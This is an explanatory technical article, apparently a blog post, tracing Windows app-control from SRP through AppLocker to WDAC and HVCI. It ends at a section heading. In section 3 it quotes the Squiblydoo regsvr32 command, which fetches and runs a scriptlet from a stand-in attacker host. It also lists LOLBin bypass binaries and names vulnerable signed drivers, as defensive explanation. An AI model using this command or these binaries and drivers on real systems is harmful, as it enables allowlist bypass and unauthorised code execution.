&lt;p&gt;A red-team operator drops a signed, valid, never-revoked OEM driver onto a freshly-imaged Windows 11 24H2 box with the default WDAC policy enforced and HVCI on. The driver is &lt;code&gt;dbutil_2_3.sys&lt;/code&gt;, a real Dell utility tracked as CVE-2021-21551 [@nvd-cve-2021-21551], with an authentic Microsoft-trusted certificate in its embedded signature. The &lt;code&gt;sc.exe create&lt;/code&gt; call returns success. The &lt;code&gt;StartService&lt;/code&gt; call spins for roughly eight microseconds. Then the driver fails to load with &lt;code&gt;ERROR_DRIVER_BLOCKED&lt;/code&gt;, and the &lt;code&gt;Microsoft-Windows-CodeIntegrity/Operational&lt;/code&gt; event log lights up with event 3033 [@ms-driver-blocklist].&lt;/p&gt;
&lt;p&gt;The driver is not malware. It is a perfectly legitimate diagnostic utility that Dell shipped to hundreds of millions of laptops between 2009 and 2021 [@sentinelone-dbutil], signed by a certificate that chains to a root in the Microsoft Trusted Root Program. The certificate has not expired. It has not been revoked. The driver itself is intact -- not modified, not repacked, not even slightly truncated. And it cannot run.&lt;/p&gt;

A class of attack in which a privileged operator (or an exploited userland process that has reached LocalSystem) loads a driver that is *signed* and *trusted* by the operating system, but contains a vulnerability that lets the loader execute arbitrary code in ring 0. The driver is the vehicle; the vulnerability inside the driver is the payload. The Dell `dbutil_2_3.sys` driver and the MSI Afterburner `RTCore64.sys` driver are the canonical 2018-2024 examples (CVE-2019-16098 [@nvd-cve-2019-16098], CVE-2021-21551 [@nvd-cve-2021-21551]).
&lt;p&gt;That eight-microsecond refusal is the entry point of this article. It raises four questions that the next ten sections answer in order. &lt;em&gt;Which&lt;/em&gt; Windows component refused the load? &lt;em&gt;What&lt;/em&gt; policy language did it consult? &lt;em&gt;How&lt;/em&gt; did that policy reach the device? And, most uncomfortably, &lt;em&gt;which&lt;/em&gt; classes of attack would still get to the kernel anyway?&lt;/p&gt;
&lt;p&gt;This piece sits alongside an earlier post on App Identity [@paragmali-com-app-ide].The App Identity post covers &lt;em&gt;what code identity is&lt;/em&gt; in Windows -- Authenticode, Kernel Mode Code Signing (KMCS), publisher chains, hash strategies. This article argues &lt;em&gt;what Windows does with that identity at every page-fault&lt;/em&gt;. The two pieces compose: identity is the noun; enforcement is the verb. Where App Identity covers what Windows means by &quot;this is the same bag of bytes the publisher signed,&quot; what follows is what the OS does with that fact at every PE load. The two reduce, together, to a single sentence that section five will earn: &lt;em&gt;code integrity at every layer is not a slogan; it is a page-fault sequence that runs dozens of times during one driver load.&lt;/em&gt;&lt;/p&gt;

sequenceDiagram
    participant Op as Operator (sc.exe)
    participant SCM as Service Control Manager
    participant NT as NT Loader (NtLoadDriver)
    participant CI as CI.dll (VTL0)
    participant Sk as SkCi.dll (VTL1)
    participant SLAT as Hypervisor SLAT
    Op-&amp;gt;&amp;gt;SCM: sc.exe create / start
    SCM-&amp;gt;&amp;gt;NT: NtLoadDriver(\dbutil_2_3.sys)
    NT-&amp;gt;&amp;gt;CI: Validate Authenticode + policy
    CI-&amp;gt;&amp;gt;Sk: Secure call: revalidate + check Block List
    Sk-&amp;gt;&amp;gt;Sk: Hash matches Block List entry
    Sk--&amp;gt;&amp;gt;SLAT: Refuse W-&amp;gt;X promotion
    SLAT--&amp;gt;&amp;gt;NT: Page-fault on first execute
    NT--&amp;gt;&amp;gt;SCM: STATUS_DRIVER_BLOCKED
    SCM--&amp;gt;&amp;gt;Op: ERROR_DRIVER_BLOCKED + event 3033
&lt;p&gt;But before we can explain how the load was refused, we have to explain why this kind of refusal is a twenty-five-year-old engineering problem. Two earlier Microsoft answers, Software Restriction Policies and AppLocker, were the wrong shape -- and the wrong shape in instructive ways.&lt;/p&gt;
&lt;h2&gt;2. Historical Origins: The 1990s Free-for-All and the Birth of &quot;Path Is Not Identity&quot;&lt;/h2&gt;
&lt;p&gt;In 2001, a Windows XP user double-clicked a &lt;code&gt;.vbs&lt;/code&gt; attachment and the OS asked nobody before running it. Code Red, Nimda, and MS Blaster had not yet finished teaching Microsoft why that was a bad design, but the theoretical ground was already a decade and a half old. Fred Cohen had proved, in his 1984 paper &lt;em&gt;Computer Viruses -- Theory and Experiments&lt;/em&gt; [@cohen-eecs588], that general malware detection is undecidable -- without detection, containment is, in general, impossible. The verbatim form of that result is reserved for §8 below, where the theoretical-limits argument turns on it. If detection was off the table as a general primitive, the only remaining engineering option was the &lt;em&gt;opposite&lt;/em&gt; of detection: an explicit allowlist.&lt;/p&gt;
&lt;p&gt;Authenticode existed since Internet Explorer 3 in 1996, but it was &lt;em&gt;advisory&lt;/em&gt; -- a &quot;Security Warning&quot; dialog the user could click past. The first OS-level &lt;em&gt;enforcement&lt;/em&gt; primitive arrived with Windows XP and Server 2003 in the form of Software Restriction Policies (SRP) [@learn-microsoft-com-2003-cc782792vws10]). SRP was the first time the kernel was asked to refuse a load on the strength of an administrator-set rule, not a user click.&lt;/p&gt;

The original Windows app-control primitive, introduced with Windows XP and Server 2003. SRP supports four rule classes (path, hash, certificate, zone) and a fixed-precedence walk inside the Safer API call `SaferIdentifyLevel` [@learn-microsoft-com-2003-cc786941vws10]). Deployment is Group Policy only; storage post-download is the registry. SRP was deprecated in Windows 10 build 1803 [@ms-srp-deprecated], with Microsoft&apos;s documentation explicitly redirecting to AppLocker or WDAC.

Microsoft&apos;s PE-image signing scheme [@ms-authenticode-ref], introduced with Internet Explorer 3 in 1996. An Authenticode signature attaches a CMS PKCS#7 envelope to a PE binary, binding the file&apos;s digest to a publisher certificate that chains to a Microsoft-trusted root. The same signature surface is reused by Kernel Mode Code Signing [@ms-acfb-overview], Smart App Control, and the WDAC `Signers` element discussed later in this article.
&lt;p&gt;SRP shipped four ways to identify a binary, but the architectural lesson it forced into the open was about the &lt;em&gt;first&lt;/em&gt; of those four. Path rules looked elegant on paper -- &quot;trust everything in &lt;code&gt;C:\Program Files&lt;/code&gt;&quot; -- and lethal in practice, because a path is not a property of a binary. A path is the &lt;em&gt;coordinates of a place&lt;/em&gt; a bag of bytes happens to sit, and any attacker who can write to that place inherits the trust attached to it. World-writable directories under &lt;code&gt;%TEMP%&lt;/code&gt;, &lt;code&gt;%APPDATA%&lt;/code&gt;, and various inherited-permission folders under &lt;code&gt;C:\Program Files&lt;/code&gt; itself meant that path rules were structurally a lie. Hash rules were correct but brittle; certificate rules were correct but coarse; zone rules were correct but circumventable through a download into a trusted zone.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; Path is not identity. A path is a place a bag of bytes happens to sit; an attacker who can write to that place inherits the trust. This sentence will recur three times in this article -- at SRP, at AppLocker, and at WDAC&apos;s path-rule writeability check -- because every generation of Windows app-control re-learned it at a new layer.&lt;/p&gt;
&lt;/blockquote&gt;

gantt
    title Windows app-control + HVCI lineage 2001-2025
    dateFormat  YYYY-MM
    section App-control rail
    SRP (Windows XP)                  :2001-10, 17M
    AppLocker (Windows 7)             :2009-10, 72M
    Configurable CI (Windows 10 1507) :2015-07, 27M
    WDAC rename (1703/1709) + ISG/MI  :2017-04, 24M
    Multi-policy WDAC (1903)          :2019-05, 60M
    ACfB rebrand (2024)               :2024-01, 24M
    section HVCI / VBS rail
    HVCI in Device Guard (1507)       :2015-07, 13M
    HVCI rename (1607)                :2016-08, 20M
    MBEC/GMET reporting (1803)        :2018-04, 25M
    KDP (Windows 10 2004)             :2020-05, 16M
    Driver Block List GA (Win 11 22H2):2022-09, 24M
    KB5042562 Downdate fix            :2025-07, 5M
&lt;p&gt;The first inflection point came when the mass-mailer worms of 2001-2004 made it operationally embarrassing for Microsoft to keep shipping an OS in which &quot;double-click runs anything.&quot; Microsoft&apos;s Trustworthy Computing memo dates to January 2002 [@microsoft-com-trustworthy-computing] -- Bill Gates&apos; company-wide email pivoting Windows engineering toward security as a first-class deliverable. SRP was its first concrete app-control answer.Microsoft&apos;s own Windows Server 2003 SRP technical reference [@learn-microsoft-com-2003-cc786941vws10]) describes the architecture: when a user double-clicks an executable, the enforcement API &lt;code&gt;SaferIdentifyLevel&lt;/code&gt; is called to determine the rule details that apply. The same page enumerates the Safer API, the Group Policy Editor extension, the WinVerifyTrust integration with Authenticode, the Event Viewer logging, and Active Directory + Group Policy as the propagation substrate.&lt;/p&gt;
&lt;p&gt;SRP showed the &lt;em&gt;shape&lt;/em&gt; of the answer -- admin-set policy, OS-enforced, applied before launch -- but it failed on three properties the next generation would try to close. It failed on &lt;em&gt;granularity&lt;/em&gt; because path was its primary identity. It failed on &lt;em&gt;audience&lt;/em&gt; because it had no per-user or per-group scoping. And it failed on &lt;em&gt;surface&lt;/em&gt; because script hosts (&lt;code&gt;wscript.exe&lt;/code&gt;, &lt;code&gt;cscript.exe&lt;/code&gt;) had to opt in to consult its rules. AppLocker arrived in Windows 7 to fix all three. And it discovered that even closing all three is not enough.&lt;/p&gt;
&lt;h2&gt;3. Early Approaches: AppLocker, Squiblydoo, and the Engineering of &quot;Publisher Is Not Enough&quot;&lt;/h2&gt;
&lt;p&gt;April 19, 2016. Casey Smith publishes a four-line command on his subt0x10 blog: &lt;code&gt;regsvr32 /s /n /u /i:http[:]//attacker/x.sct scrobj.dll&lt;/code&gt;. The command bypasses an AppLocker-locked-down workstation with executable and script rules enforced [@casey-smith-wayback], and -- because every default Microsoft AppLocker policy allows binaries published by &lt;code&gt;O=Microsoft Corporation&lt;/code&gt; -- the same trick works against the canonical default rules out of the box. It leaves no registry artefact, requires no admin rights, runs the attacker&apos;s code under the user&apos;s token, and -- this is the part that hurts -- cannot be patched. Because the binary it abuses is signed by Microsoft, it is on every default allowlist. The technique gets the nickname &lt;em&gt;Squiblydoo&lt;/em&gt;, gets MITRE ATT&amp;amp;CK ID T1218.010 [@mitre-t1218-010], gets used in campaigns targeting governments [@mitre-t1218-010], and gets the technique catalogued in the LOLBAS project [@lolbas-regsvr32].&lt;/p&gt;
&lt;p&gt;To understand why Smith&apos;s command was a class of failure rather than a specific bug, look at AppLocker&apos;s design. AppLocker shipped in Windows 7 and Server 2008 R2 (RTM July 2009; GA October 2009) [@wikipedia-windows-7] with five rule collections (Executable, Windows Installer, Script, DLL, Packaged App) crossed against three rule types (Path, File hash, Publisher). Per-user and per-group scoping was the explicit win over SRP, and enforcement moved out of the Safer API into a dedicated Application Identity service (&lt;code&gt;appidsvc&lt;/code&gt;) plus the &lt;code&gt;appid.sys&lt;/code&gt; filter driver [@wikipedia-applocker], so script hosts no longer needed to opt in to consult policy. AppLocker was, on paper, every fix SRP needed.&lt;/p&gt;

The Windows 7 / Server 2008 R2 successor to SRP, with five rule collections (Executable, Windows Installer, Script, DLL, Packaged App) crossed against three rule types (Path, File hash, Publisher). Enforcement is via the `appidsvc` service plus the `appid.sys` filter driver [@learn-microsoft-com-7-dd723678vws10]). Microsoft documents AppLocker today as &quot;a defense-in-depth security feature and not considered a defensible Windows security feature&quot; [@ms-applocker-overview] -- meaning the Microsoft Security Response Center will not service AppLocker bypasses as security vulnerabilities.

A signed, trusted binary that ships with the operating system and exposes functionality an attacker can repurpose for malicious execution -- without dropping any new file to disk, without triggering signature-based detection, and (in the AppLocker era) without violating any publisher-rule allowlist. The MITRE ATT&amp;amp;CK technique T1218 (&quot;System Binary Proxy Execution&quot;) [@mitre-t1218] catalogues the parent class. Microsoft&apos;s own bypass catalogue [@ms-bypass-catalogue] lists about forty Windows binaries that fall into this class.
&lt;p&gt;The Squiblydoo bypass is mechanical once you see it. AppLocker&apos;s publisher rule for &lt;code&gt;O=Microsoft Corporation&lt;/code&gt; says &lt;em&gt;yes&lt;/em&gt; to &lt;code&gt;regsvr32.exe&lt;/code&gt;. The argument-parsing code inside &lt;code&gt;regsvr32.exe&lt;/code&gt; is policy-blind -- it does not consult AppLocker before deciding to follow the &lt;code&gt;/i:URL&lt;/code&gt; flag. The remote scriptlet is fetched, parsed, and the JScript inside it is executed in-process. AppLocker has logged a successful launch of a Microsoft-signed binary and seen nothing worth blocking. The malicious code now runs with the launching user&apos;s token, with no on-disk artefact, with no registry footprint, with no need to escalate.&lt;/p&gt;

sequenceDiagram
    participant U as User session
    participant Reg as regsvr32.exe (signed)
    participant AL as AppLocker check
    participant Atk as attacker.com
    participant JS as JScript engine
    U-&amp;gt;&amp;gt;Reg: Spawn with /i:http://atk/x.sct scrobj.dll
    Reg-&amp;gt;&amp;gt;AL: Publisher = Microsoft Corp?
    AL--&amp;gt;&amp;gt;Reg: PASS (publisher rule allows)
    Reg-&amp;gt;&amp;gt;Atk: GET http://attacker/x.sct (proxy-aware, TLS-capable)
    Atk--&amp;gt;&amp;gt;Reg: Scriptlet (JScript COM)
    Reg-&amp;gt;&amp;gt;JS: Instantiate scriptlet in-process
    JS--&amp;gt;&amp;gt;Reg: Arbitrary code under user token
    Reg--&amp;gt;&amp;gt;AL: Process exit logged &quot;successful launch&quot;
&lt;p&gt;The bypass-research record is the size of a small university faculty. Microsoft&apos;s own bypass catalogue [@ms-bypass-catalogue] thanks fifteen researchers by name in its acknowledgements footer (Casey Smith, Matt Graeber, James Forshaw, Oddvar Moe, Matt Nelson, Will Dormann, Lasse Trolle Borup, Lee Christensen, Jimmy Bayne, Vladas Bulavas, William Easton, Brock Mammen, Kim Oppalfens, Philip Tsukerman, and Alex Ionescu).&lt;/p&gt;
&lt;p&gt;The catalogue itself enumerates roughly forty signed Microsoft binaries that should be blocked unless explicitly required: &lt;code&gt;addinprocess.exe&lt;/code&gt;, &lt;code&gt;bash.exe&lt;/code&gt;, &lt;code&gt;cdb.exe&lt;/code&gt;, &lt;code&gt;cscript.exe&lt;/code&gt;, &lt;code&gt;csi.exe&lt;/code&gt;, &lt;code&gt;dnx.exe&lt;/code&gt;, &lt;code&gt;dotnet.exe&lt;/code&gt;, &lt;code&gt;fsi.exe&lt;/code&gt;, &lt;code&gt;infdefaultinstall.exe&lt;/code&gt;, &lt;code&gt;kd.exe&lt;/code&gt;, &lt;code&gt;kill.exe&lt;/code&gt;, &lt;code&gt;lxrun.exe&lt;/code&gt;, &lt;code&gt;Microsoft.Workflow.Compiler.exe&lt;/code&gt;, &lt;code&gt;msbuild.exe&lt;/code&gt;, &lt;code&gt;mshta.exe&lt;/code&gt;, &lt;code&gt;ntkd.exe&lt;/code&gt;, &lt;code&gt;ntsd.exe&lt;/code&gt;, &lt;code&gt;powershellcustomhost.exe&lt;/code&gt;, &lt;code&gt;rcsi.exe&lt;/code&gt;, &lt;code&gt;runscripthelper.exe&lt;/code&gt;, &lt;code&gt;system.management.automation.dll&lt;/code&gt;, &lt;code&gt;texttransform.exe&lt;/code&gt;, &lt;code&gt;visualuiaverifynative.exe&lt;/code&gt;, &lt;code&gt;wfc.exe&lt;/code&gt;, &lt;code&gt;windbg.exe&lt;/code&gt;, &lt;code&gt;wmic.exe&lt;/code&gt;, &lt;code&gt;wscript.exe&lt;/code&gt;, and &lt;code&gt;wsl.exe&lt;/code&gt; are all explicitly listed.The MITRE ATT&amp;amp;CK record for T1218.010 (Regsvr32) [@mitre-t1218-010] credits Smith for the technique and dates its documented in-the-wild use to multiple &quot;campaigns targeting governments.&quot; The &quot;Squiblydoo&quot; nickname itself is widely attributed to Carbon Black&apos;s April 2016 threat advisory [@carbonblack-squiblydoo-2016], which MITRE cites as reference [3]. The LOLBAS project entry for &lt;code&gt;Regsvr32&lt;/code&gt; [@lolbas-regsvr32] preserves the verbatim AWL bypass syntax that Smith published.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Property&lt;/th&gt;
&lt;th&gt;SRP (2001)&lt;/th&gt;
&lt;th&gt;AppLocker (2009)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Identity primitive&lt;/td&gt;
&lt;td&gt;Path / Hash / Cert / Zone&lt;/td&gt;
&lt;td&gt;Path / Hash / Publisher&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Per-user scoping&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Enforcement engine&lt;/td&gt;
&lt;td&gt;Safer API (&lt;code&gt;SaferIdentifyLevel&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;appidsvc&lt;/code&gt; + &lt;code&gt;appid.sys&lt;/code&gt; filter driver&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Script-host coverage&lt;/td&gt;
&lt;td&gt;Opt-in per host&lt;/td&gt;
&lt;td&gt;Centrally enforced&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Canonical bypass class&lt;/td&gt;
&lt;td&gt;Path-rule writeable directories&lt;/td&gt;
&lt;td&gt;Squiblydoo / publisher-blind LOLBINs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MSRC servicing&lt;/td&gt;
&lt;td&gt;Deprecated 2018&lt;/td&gt;
&lt;td&gt;Defense-in-depth only (not serviced)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Microsoft&apos;s own architectural surrender is in the AppLocker overview [@ms-applocker-overview] itself, in a sentence the company has now repeated for a decade -- captured verbatim in the PullQuote below. The Microsoft Security Response Center, in other words, will not treat an AppLocker bypass as a vulnerability. AppLocker remains supported, remains documented, and remains deployed in millions of enterprises -- but Microsoft has moved its security-boundary commitment to a different feature.&lt;/p&gt;

AppLocker is a defense-in-depth security feature and not considered a defensible Windows security feature. -- Microsoft Learn, AppLocker overview, 2026.

Two insights survive the AppLocker era. First, publisher-only identity is necessary but not sufficient: a bag of bytes signed by Microsoft can still host arbitrary attacker-supplied script. Second, the enforcement engine itself must be unkillable -- AppLocker&apos;s filter driver runs in the same VTL0 ring as the kernel an attacker may have compromised, so a SYSTEM-level kernel attacker can simply unload it. The next generation has to fix both. Microsoft fixed them on two parallel rails inside Windows 10.
&lt;h2&gt;4. The Evolution: Two Parallel Rails Converging on the Runtime Loop&lt;/h2&gt;
&lt;p&gt;From July 2015, Microsoft&apos;s answer evolved on two parallel rails inside Windows 10. One rail -- the configurable Code Integrity policy that would later be renamed WDAC -- replaced AppLocker&apos;s policy language with an XML schema and put the enforcement check inside the kernel. The other rail -- HVCI -- put the &lt;em&gt;kernel CI check itself&lt;/em&gt; underneath the kernel, in a hypervisor-rooted Virtual Trust Level the attacker cannot reach. The rails converged in 2019 with multi-policy WDAC, and again in September 2022 when the Driver Block List started shipping on by default.&lt;/p&gt;
&lt;h3&gt;4a. The WDAC Rail&lt;/h3&gt;
&lt;p&gt;Configurable Code Integrity (CCI) under Device Guard shipped in Windows 10 1507 in July 2015 [@wikipedia-w10-history]. For the first time, Microsoft&apos;s app-control engine consumed an XML policy: a schema with &lt;code&gt;Signers&lt;/code&gt;, &lt;code&gt;FileRules&lt;/code&gt;, &lt;code&gt;SigningScenarios&lt;/code&gt;, and the rule-option toggles that a 2026 administrator still recognises today. The engine binary was &lt;code&gt;CI.dll&lt;/code&gt; [@ms-acfb-overview], and &lt;code&gt;CI.dll&lt;/code&gt; is still the engine binary today. CCI was, from day one, serviced under MSRC criteria [@ms-acfb-overview] -- the load-bearing operational distinction from AppLocker, because Microsoft now treats a bypass of CCI as a security vulnerability.&lt;/p&gt;
&lt;p&gt;The 2017 rebranding decoupled the engine from the marketing. In October 2017 [@ms-2017-wdac-blog] Microsoft published a blog post that admitted, in a sentence that has since become a Microsoft Learn citation, that &quot;we estimate that only about 20% of our customers are using any type of application control technology.&quot; The same post announced the rename from &quot;configurable CI&quot; to &lt;em&gt;Windows Defender Application Control&lt;/em&gt;, and explained that the original Device Guard story had &quot;unintentionally left an impression for many customers that the two features were inexorably linked and could not be deployed separately.&quot;&lt;/p&gt;
&lt;p&gt;The post also disclosed that &quot;in the Windows 10 Creators Update (1703) [@wikipedia-w10-history] released last spring we introduced an option to WDAC called managed installer.&quot; Managed Installer is therefore a 1703 feature (April 2017), not a 1709 feature.This date precision matters. Earlier informal histories pin both ISG and Managed Installer to 1709; the verbatim primary makes Managed Installer a 1703 feature and ISG (rule option 14) a 1709 feature.&lt;/p&gt;

A WDAC policy is an XML document conforming to the SiPolicy schema [@ms-rule-options], evaluated by `CI.dll` at every PE load. The same feature has had four names over a decade: *configurable code integrity* (2015), *Windows Defender Device Guard* (2015-2017), *Windows Defender Application Control* (2017), and *App Control for Business* (the 2024 rename [@ms-acfb-landing]). The binary, the schema, and the runtime loop are unchanged across the renames.

The XML schema that backs every WDAC policy. The eight load-bearing elements are `Rules` (policy options), `Signers` (signer identities), `FileRules` (the `Hash`, `FilePath`, `FileName`, `FilePublisher`, certificate-attribute family), `SigningScenarios` (which split kernel-mode from user-mode coverage), `HvciOptions` (the in-policy HVCI toggle), `UpdatePolicySigners` (who can replace the policy), `SupplementalPolicySigners` (who can add to it), and `CiSigners` (the trusted signer set in the user-mode scenario).

The reputation cloud Microsoft uses for SmartScreen and Defender Antivirus. Enabling rule option 14 [@ms-isg] tells WDAC to consult ISG for &quot;known good,&quot; &quot;known bad,&quot; or &quot;unknown&quot; verdicts at runtime. ISG is not a list; it is a model. Microsoft documents the obvious contraindication: ISG &quot;isn&apos;t recommended for devices that don&apos;t have regular access to the internet.&quot;
&lt;p&gt;The architectural inflection arrived in Windows 10 1903 (May 2019) with multi-policy WDAC [@ms-deploy-multi]. Up to thirty-two active policies could now coexist on a single machine, with base-policy and supplemental-policy composition rules: two base policies intersect (a binary must be allowed by both to run), while a base and a supplemental union (allowed by either is enough). The architectural payoff is operational. The Driver Block List can now ship as a standalone WDAC policy and stack alongside an organisation&apos;s existing allowlist, without a merge-and-resign ceremony every quarter.The thirty-two-policy ceiling has since moved. The Microsoft Learn page on multi-policy deployment [@ms-deploy-multi] documents that the cap is removed on devices that have applied the April 9, 2024 cumulative update -- with one carve-out for Windows 11 21H2, where the limit remains thirty-two indefinitely.&lt;/p&gt;
&lt;p&gt;The 2024 rename to &lt;em&gt;App Control for Business&lt;/em&gt; changed the URL path on Microsoft Learn and not much else. The binary is still &lt;code&gt;CI.dll&lt;/code&gt;; the schema is still &lt;code&gt;SiPolicy&lt;/code&gt;; the rule options are still numbered the same way. Throughout the rest of this article we will use &quot;WDAC&quot; for prose searchability, with the understanding that &quot;App Control for Business,&quot; &quot;configurable code integrity,&quot; and &quot;Device Guard kernel CI&quot; all refer to the same engine.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Four aliases for the same feature: &lt;em&gt;configurable code integrity&lt;/em&gt; (2015), &lt;em&gt;Windows Defender Device Guard&lt;/em&gt; (2015-2017), &lt;em&gt;Windows Defender Application Control / WDAC&lt;/em&gt; (2017-2024), and &lt;em&gt;App Control for Business / ACfB&lt;/em&gt; (2024-). All four consume the same &lt;code&gt;SiPolicy&lt;/code&gt; XML, run against the same &lt;code&gt;CI.dll&lt;/code&gt;, and emit events on the same &lt;code&gt;Microsoft-Windows-CodeIntegrity/Operational&lt;/code&gt; channel. We use &lt;em&gt;WDAC&lt;/em&gt; throughout for searchability; the App Control for Business documentation root [@ms-acfb-landing] is the canonical 2026 entry point.&lt;/p&gt;
&lt;/blockquote&gt;

flowchart LR
    Root[SiPolicy XML]
    Root --&amp;gt; Rules[Rules&lt;br /&gt;policy options 0-20+]
    Root --&amp;gt; Signers[Signers&lt;br /&gt;signer identities]
    Root --&amp;gt; FileRules[FileRules&lt;br /&gt;Hash, FilePath, FileName, FilePublisher]
    Root --&amp;gt; Scenarios[SigningScenarios&lt;br /&gt;KMCI 131, UMCI 12]
    Root --&amp;gt; Hvci[HvciOptions&lt;br /&gt;0, 1, 2, 4]
    Root --&amp;gt; Update[UpdatePolicySigners&lt;br /&gt;who may replace policy]
    Root --&amp;gt; Suppl[SupplementalPolicySigners&lt;br /&gt;who may augment]
    Root --&amp;gt; Ci[CiSigners&lt;br /&gt;trusted signer set in UMCI]
&lt;h3&gt;4b. The HVCI Rail&lt;/h3&gt;
&lt;p&gt;In August 2006, Joanna Rutkowska stood up at Black Hat USA and demonstrated Blue Pill [@en-wikipedia-org-wiki-bluepillsoftware]), a rootkit based on AMD-V hardware virtualization that loaded itself underneath the running operating system. The point was not the rootkit. The point was a threat-model anchor: if attackers can own the hypervisor [@paragmali-com-a-security], no kernel-mode mitigation can trust the kernel below it. The architectural answer Microsoft would eventually deploy is simple to state and hard to build: own the hypervisor first.Rutkowska&apos;s Black Hat USA 2006 presentation [@rutkowska-bh2006] demonstrated Blue Pill against Windows Vista; the deck was 52 pages, the rootkit was an AMD Pacifica (AMD-V) demonstration, and the talk was given on August 3, 2006. Alex Ionescu would invert the same architecture nine years later for HVCI -- the hypervisor is now the &lt;em&gt;defender&apos;s&lt;/em&gt; substrate.&lt;/p&gt;
&lt;p&gt;Device Guard kernel-mode CI / HVCI shipped in Windows 10 1507 in July 2015 [@wikipedia-w10-history] on a hardware-rooted hypervisor that Microsoft built specifically to host this kind of trust check. The architecture is clean. &lt;code&gt;SkCi.dll&lt;/code&gt; runs inside Virtual Trust Level 1, the higher-privileged of the two VTLs the hypervisor exposes. The NT kernel runs in VTL0. When the NT kernel needs to validate a driver image, it asks VTL1 -- and only after VTL1 says yes does the hypervisor flip the SLAT entries for the driver&apos;s code pages from W to X [@ms-kdp-blog].&lt;/p&gt;

The hypervisor-enforced privilege separation that Microsoft introduced with Virtualization-Based Security in Windows 10. VTL0 hosts the normal NT kernel and userland; VTL1 hosts the Secure Kernel and a tiny set of &quot;trustlets&quot; -- LSAISO for Credential Guard, the per-VTL CI engine `SkCi.dll`, the virtual TPM. A SYSTEM-level attacker in VTL0 cannot read or write VTL1 memory; the hypervisor enforces the separation through SLAT permissions. Alex Ionescu&apos;s Battle of SKM and IUM [@github-com-20alex20ionescu20-20201520blackhat2015] is the canonical 2015 primary on the architecture.

Microsoft Learn [@ms-memory-integrity] documents the feature under three names that all refer to the same code path: *memory integrity* (the consumer-facing label in Windows Security), *hypervisor-protected code integrity* (the technical name), and *hypervisor enforced code integrity* (the alternate technical name). The page reads, verbatim: &quot;Memory integrity is sometimes referred to as hypervisor-protected code integrity (HVCI) or hypervisor enforced code integrity, and was originally released as part of Device Guard.&quot;

A page is either writable or executable, but never both. HVCI enforces W$\oplus$X for kernel pages by holding the page write-permission and execute-permission bits in SLAT entries that VTL0 cannot edit [@ms-kdp-blog]. VTL1&apos;s `SkCi.dll` decides whether a page is executable; the hypervisor decides whether VTL0 can ever ask the question. The invariant exists to deny one specific class of attack -- writing a new payload into a kernel page and then executing it -- but it does not stop attacks that compose only of *existing* executable bytes (return-oriented and jump-oriented programming).
&lt;p&gt;The next four versions of Windows 10 added one capability each. Windows 10 1607 (August 2016) [@wikipedia-w10-history] renamed the feature to HVCI, severed the marketing tie to Device Guard, and added a Windows Security app toggle. Windows 10 1803 (April 2018) [@ms-memory-integrity] added Mode-Based Execution Control reporting on Intel Kabylake-and-later silicon; AMD&apos;s Zen 2 added the equivalent Guest Mode Execute Trap. Older silicon falls back to Restricted User Mode emulation, which the same Microsoft Learn page warns &quot;will have a bigger impact on performance.&quot;&lt;/p&gt;
&lt;p&gt;Windows 10 2004 (May 2020) added Kernel Data Protection (KDP) [@ms-kdp-blog], the second floor of the W$\oplus$X discipline -- once code is unforgeable, attackers shift to data corruption, so KDP makes selected kernel data ranges unforgeable too. Windows 11 22H2 (September 2022) made HVCI on by default for most new Windows 11 devices [@ms-driver-blocklist], and shipped the Vulnerable Driver Block List on by default alongside it.&lt;/p&gt;

Microsoft Learn&apos;s three-name reconciliation is the verbatim quote in the §4b *HVCI / Memory Integrity* Definition above. Three names; one code path; one `SkCi.dll`; one architectural inversion of Blue Pill. We use *HVCI (Memory Integrity in Windows Security)* as the canonical first-mention form and *HVCI* for prose density throughout; a 2017 Microsoft Mechanics video called it *Device Guard*.

flowchart TB
    VTL0[&quot;VTL0 -- NT kernel + CI.dll&lt;br /&gt;&apos;asks&apos; for execute permission&quot;]
    HV[&quot;Hypervisor -- hvix64.exe / hvax64.exe&lt;br /&gt;holds SLAT page tables&quot;]
    VTL1[&quot;VTL1 -- Secure Kernel + SkCi.dll&lt;br /&gt;validates Authenticode + Block List&quot;]
    Page[&quot;Driver image page&lt;br /&gt;state: Writable -&amp;gt; ReadOnly+Execute&quot;]
    VTL0 -- &quot;Secure call: validate image&quot; --&amp;gt; VTL1
    VTL1 -- &quot;If signed and not blocked&quot; --&amp;gt; HV
    HV -- &quot;Flip SLAT entry W-&amp;gt;X&quot; --&amp;gt; Page
    Page -- &quot;Future write from VTL0&quot; --&amp;gt; HV
    HV -- &quot;Page-fault, no transition&quot; --&amp;gt; VTL0
&lt;p&gt;By 2022 the two rails had converged at the operational level. The Driver Block List shipped as a standalone WDAC policy that HVCI&apos;s &lt;code&gt;SkCi.dll&lt;/code&gt; enforced in VTL1 on every kernel-mode driver load. Now we can finally answer the question that opened this article: which Windows component refused the BYOVD load? The honest answer is &lt;em&gt;both rails working together at the page-fault&lt;/em&gt;. That sequence is the next section.&lt;/p&gt;
&lt;h2&gt;5. The Breakthrough: The Runtime Enforcement Loop, End-to-End&lt;/h2&gt;
